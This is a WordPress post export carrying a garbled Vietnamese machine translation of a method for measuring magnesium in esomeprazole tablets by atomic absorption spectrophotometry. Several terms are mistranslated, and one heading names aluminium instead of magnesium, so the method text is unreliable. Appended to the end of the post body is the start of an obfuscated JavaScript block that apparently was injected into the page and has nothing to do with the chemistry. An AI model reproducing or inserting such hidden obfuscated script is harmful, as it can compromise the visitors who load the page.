{"id":2874,"date":"2023-09-14T14:58:10","date_gmt":"2023-09-14T06:58:10","guid":{"rendered":"http:\/\/www.pgeneral.com\/?p=2874"},"modified":"2023-09-14T14:58:10","modified_gmt":"2023-09-14T06:58:10","slug":"the-measurement-of-magnesium-in-esomeprazole-magnesium-pills-by-persee-atomic-absorption-spectrophotometer","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/vi\/ung-dung\/bio-tech-and-life-sciences\/the-measurement-of-magnesium-in-esomeprazole-magnesium-pills-by-persee-atomic-absorption-spectrophotometer\/","title":{"rendered":"Vi\u1ec7c \u0111o magi\u00ea trong thu\u1ed1c esomeprazole magi\u00ea b\u1eb1ng m\u00e1y quang ph\u1ed5 h\u1ea5p th\u1ee5 nguy\u00ean t\u1eed persee"},"content":{"rendered":"<p>Ph\u1ea1m vi s\u1eed d\u1ee5ng<br \/>\nPh\u01b0\u01a1ng ph\u00e1p n\u00e0y ph\u00f9 h\u1ee3p v\u1edbi h\u00e0m l\u01b0\u1ee3ng kh\u1ed1i l\u01b0\u1ee3ng c\u1ee7a magi\u00ea trong kho\u1ea3ng 0,064-6,4% trong thu\u1ed1c esomeprazole magi\u00ea v\u00e0 vi\u00ean.<\/p>\n<p>Gi\u1edbi thi\u1ec7u<br \/>\nPh\u01b0\u01a1ng ph\u00e1p n\u00e0y \u0111\u01b0\u1ee3c thi\u1ebft l\u1eadp \u0111\u1ec3 ki\u1ec3m tra h\u00e0m l\u01b0\u1ee3ng magi\u00ea trong thu\u1ed1c esomeprazole magi\u00ea ho\u1eb7c m\u00e1y t\u00ednh b\u1ea3ng.<\/p>\n<p>Thi\u1ebft b\u1ecb v\u00e0 thu\u1ed1c th\u1eed<\/p>\n<p>Thi\u1ebft b\u1ecb v\u00e0 Thi\u1ebft b\u1ecb:<\/p>\n<p>1. B\u00ecnh b\u00ecnh th\u00e0nh.<\/p>\n<p>2. C\u00e2n b\u1eb1ng an to\u00e0n<\/p>\n<p>Thu\u1ed1c th\u1eed (L\u1edbp ph\u00e2n t\u00edch):<\/p>\n<p>1. oxit lanthanum,<\/p>\n<p>2.hydrochloricacid,<\/p>\n<p>3,25% hydrochloricacid: addabout 50ml chai.<\/p>\n<p>4. Axit clohydric 1,0mol\/L: th\u00eam kho\u1ea3ng<\/p>\n<p>50ml n\u01b0\u1edbc trong b\u00ecnh \u0111\u1ecbnh m\u1ee9c 100ml.<br \/>\n5. Dung d\u1ecbch chu\u1ea9n Magie (1000ug\/ml),<br \/>\n6. N\u01b0\u1edbc tinh khi\u1ebft,<br \/>\n7. V\u1eadt li\u1ec7u omeprazole<\/p>\n<p>Gi\u1ea3i ph\u00e1p Lanthanum (l\u00e0 t\u00e1c nh\u00e2n kh\u1eed ion):<br \/>\n1. C\u00e2n 5,87g oxit lanthanum v\u00e0 \u0111\u1eb7t n\u00f3 v\u00e0o b\u00ecnh th\u1ec3 t\u00edch nh\u1ef1a 100ml.<br \/>\n2. C\u1ea9n th\u1eadn th\u00eam axit hydrochloric 25ml.<br \/>\n3. Th\u00eam n\u01b0\u1edbc v\u00e0o kh\u00f4ng \u0111\u1ed5i th\u1ec3 t\u00edch \u0111\u1ebfn 100ml.<\/p>\n<p>Gi\u1ea3i ph\u00e1p ti\u00eau chu\u1ea9n Magi\u00ea:<\/p>\n<p>1. Gi\u1ea3i ph\u00e1p ch\u1ee9ng kho\u00e1n ti\u00eau chu\u1ea9n magi\u00ea(2ug\/ml)<\/p>\n<p>a) C\u1ea9n th\u1eadn l\u1ea5y 1ml [dung d\u1ecbch ti\u00eau chu\u1ea9n magi\u00ea  (1000ug\/ml)]v\u00e0 \u0111\u1eb7t n\u00f3 v\u00e0o b\u00ecnh th\u1ec3 t\u00edch 50ml.<\/p>\n<p>b) Th\u00eam 5ml [axit clohydric 1,0mol\/L] v\u00e0 th\u1ec3 t\u00edch kh\u00f4ng \u0111\u1ed5i v\u00e0o 50ml v\u00e0 tr\u1ed9n \u0111\u1ec1u.<\/p>\n<p>c) C\u1ea9n th\u1eadn l\u1ea5y 10ml dung d\u1ecbch trong b\u01b0\u1edbc cu\u1ed1i c\u00f9ng v\u00e0 \u0111\u1eb7t n\u00f3 v\u00e0o b\u00ecnh \u0111\u1ecbnh m\u1ee9c 100ml v\u00e0 th\u00eam n\u01b0\u1edbc v\u00e0o th\u1ec3 t\u00edch kh\u00f4ng \u0111\u1ed5i \u0111\u1ebfn 100ml.<\/p>\n<p>2. Th\u1eed nghi\u1ec7m ti\u00eau chu\u1ea9n magi\u00ea<\/p>\n<p>(ch\u1ee9a magie 0,1ug\/ml, 0,15ug\/ml, 0,2ug\/ml, 0,25ug\/ml, 0,3ug\/ml):<\/p>\n<p>a) C\u1ea9n th\u1eadn l\u1ea5y 5ml, 7,5ml, 10ml, 12,5ml v\u00e0 15ml [Dung d\u1ecbch chu\u1ea9n g\u1ed1c Magie (0,2ug\/ml)] t\u01b0\u01a1ng \u1ee9ng v\u00e0 cho t\u1eebng dung d\u1ecbch v\u00e0o b\u00ecnh \u0111\u1ecbnh m\u1ee9c 100ml.<br \/>\nb) Th\u00eam 4ml [dung d\u1ecbch lanthanum] trong m\u1ed7i b\u00ecnh<br \/>\nc) Kh\u1ed1i l\u01b0\u1ee3ng kh\u00f4ng \u0111\u1ed5i \u0111\u1ebfn 100ml cho m\u1ed7i b\u00ecnh b\u1eb1ng n\u01b0\u1edbc<\/p>\n<p>\u0110i\u1ec1u tr\u1ecb m\u1eabu:<br \/>\n1. C\u1ea9n th\u1eadn l\u1ea5y 125mg m\u1eabu thu\u1ed1c esomeprazole magi\u00ea v\u00e0 \u0111\u1eb7t n\u00f3 v\u00e0o b\u00ecnh \u0111\u1ecbnh m\u1ee9c 100ml.<br \/>\n2. Th\u00eam 20ml axit clohydric 1,0mol\/L \u0111\u1ec3 h\u00f2a tan m\u1eabu v\u00e0 \u0111\u1ecbnh m\u1ee9c \u0111\u1ebfn 100ml b\u1eb1ng n\u01b0\u1edbc. Tr\u1ed9n \u0111\u1ec1u.<br \/>\n3. \u0110\u1eb7t \u1edf nhi\u1ec7t \u0111\u1ed9 ph\u00f2ng trong 30 ph\u00fat.<br \/>\n4. L\u1ea5y 5ml dung d\u1ecbch cu\u1ed1i c\u00f9ng v\u00e0 \u0111\u1eb7t n\u00f3 v\u00e0o b\u00ecnh \u0111\u1ecbnh m\u1ee9c 100ml.<br \/>\n5. L\u1ea5y 10ml dung d\u1ecbch t\u1eeb b\u01b0\u1edbc cu\u1ed1i c\u00f9ng v\u00e0 pha lo\u00e3ng \u0111\u1ebfn 100ml.<br \/>\n6. L\u1ea5y 10ml dung d\u1ecbch t\u1eeb b\u01b0\u1edbc cu\u1ed1i c\u00f9ng v\u00e0 \u0111\u1eb7t n\u00f3 v\u00e0o b\u00ecnh \u0111\u1ecbnh m\u1ee9c 100ml.<br \/>\n7. Kh\u1ed1i l\u01b0\u1ee3ng kh\u00f4ng \u0111\u1ed5i \u0111\u1ebfn 100ml b\u1eb1ng n\u01b0\u1edbc.<\/p>\n<p>Chu\u1ea9n b\u1ecb c\u00f4ng c\u1ee5:<br \/>\n1. \u00c1p d\u1ee5ng \u0111\u00e8n cat\u1ed1t r\u1ed7ng MG v\u00e0o<br \/>\nM\u00e1y quang ph\u1ed5 h\u1ea5p th\u1ee5 nguy\u00ean t\u1eed A3F.<br \/>\n2. \u0110i\u1ec1u ch\u1ec9nh n\u0103ng l\u01b0\u1ee3ng \u0111\u00e8n th\u00e0nh 100%<br \/>\n3. \u0110\u1eb7t b\u01b0\u1edbc s\u00f3ng th\u00e0nh 285,2nm, \u0111\u1ec9nh t\u00ecm ki\u1ebfm \u0111\u1ec3 \u0111\u1ea3m b\u1ea3o r\u1eb1ng \u0111\u00e8n v\u00e0 d\u1ee5ng c\u1ee5 c\u00f3 ch\u1ee9c n\u0103ng b\u00ecnh th\u01b0\u1eddng.<br \/>\n4. \u0110\u1ed1t ch\u00e1y v\u1edbi kh\u00f4ng kh\u00ed-acetylen.<br \/>\n5. Ti\u00eam dung d\u1ecbch ti\u00eau chu\u1ea9n magi\u00ea c\u00f3 n\u1ed3ng \u0111\u1ed9 cao nh\u1ea5t.<br \/>\n6. Sau \u0111\u00f3, ti\u00eam n\u01b0\u1edbc v\u00e0 ch\u1ecdn [Auto Zero].<\/p>\n<p>\u0110i\u1ec1u ki\u1ec7n thi\u1ebft b\u1ecb<br \/>\nC\u00e1c th\u00f4ng s\u1ed1 l\u00e0m vi\u1ec7c c\u1ee7a c\u00f4ng c\u1ee5:<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-2875 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724793.png\" alt=\"\" width=\"255\" height=\"238\" \/><\/p>\n<p style=\"text-align: center;\">B\u1ea3ng 1. Th\u00f4ng s\u1ed1 l\u00e0m vi\u1ec7c c\u1ee7a thi\u1ebft b\u1ecb.<\/p>\n<p>Th\u1ee7 t\u1ee5c th\u1eed nghi\u1ec7m<\/p>\n<p>\u0110\u01b0\u1eddng cong ti\u00eau chu\u1ea9n c\u1ee7a nh\u00f4m v\u00e0 ch\u1ea1y<br \/>\nCh\u1ea1y [Dung d\u1ecbch th\u1eed chu\u1ea9n Magie (ch\u1ee9a Magie 0,1ug\/ml, 0,15ug\/ml, 0,2ug\/ml, 0,25ug\/ml, 0,3ug\/ml)] r\u1ed3i l\u1eadp \u0111\u01b0\u1eddng chu\u1ea9n s\u1eed d\u1ee5ng k\u1ebft qu\u1ea3. Ch\u1ea1y m\u1eabu \u0111\u00e3 chu\u1ea9n b\u1ecb \u1edf tr\u00ean v\u00e0 t\u00ednh to\u00e1n k\u1ebft qu\u1ea3 b\u1eb1ng ph\u1ea7n m\u1ec1m AAWIN.<\/p>\n<p>T\u00ednh to\u00e1n:<br \/>\nPh\u1ea7n kh\u1ed1i l\u01b0\u1ee3ng c\u1ee7a magi\u00ea, WAL, \u0111\u01b0\u1ee3c bi\u1ec3u th\u1ecb b\u1eb1ng ph\u1ea7n tr\u0103m, \u0111\u01b0\u1ee3c t\u00ednh to\u00e1n th\u00e0nh b\u1ed1n v\u1ecb tr\u00ed th\u1eadp ph\u00e2n b\u1eb1ng c\u00e1ch s\u1eed d\u1ee5ng c\u00f4ng th\u1ee9c d\u01b0\u1edbi \u0111\u00e2y:<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-2876 aligncenter\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2023\/09\/\u56fe\u724794.png\" alt=\"\" width=\"142\" height=\"33\" \/><\/p>\n<p>\u1ede \u0111\u00e2u:<br \/>\n\u03c1 Mgis l\u00e0 n\u1ed3ng \u0111\u1ed9 kh\u1ed1i l\u01b0\u1ee3ng, t\u00ednh b\u1eb1ng microgam tr\u00ean ml (ug\/ml), c\u1ee7a magi\u00ea trong dung d\u1ecbch th\u1eed nghi\u1ec7m cu\u1ed1i c\u00f9ng;<br \/>\nM l\u00e0 kh\u1ed1i l\u01b0\u1ee3ng, t\u00ednh b\u1eb1ng miligam, c\u1ee7a m\u1eabu \u0111\u01b0\u1ee3c l\u1ea5y trong [x\u1eed l\u00fd m\u1eabu] B\u01b0\u1edbc 1<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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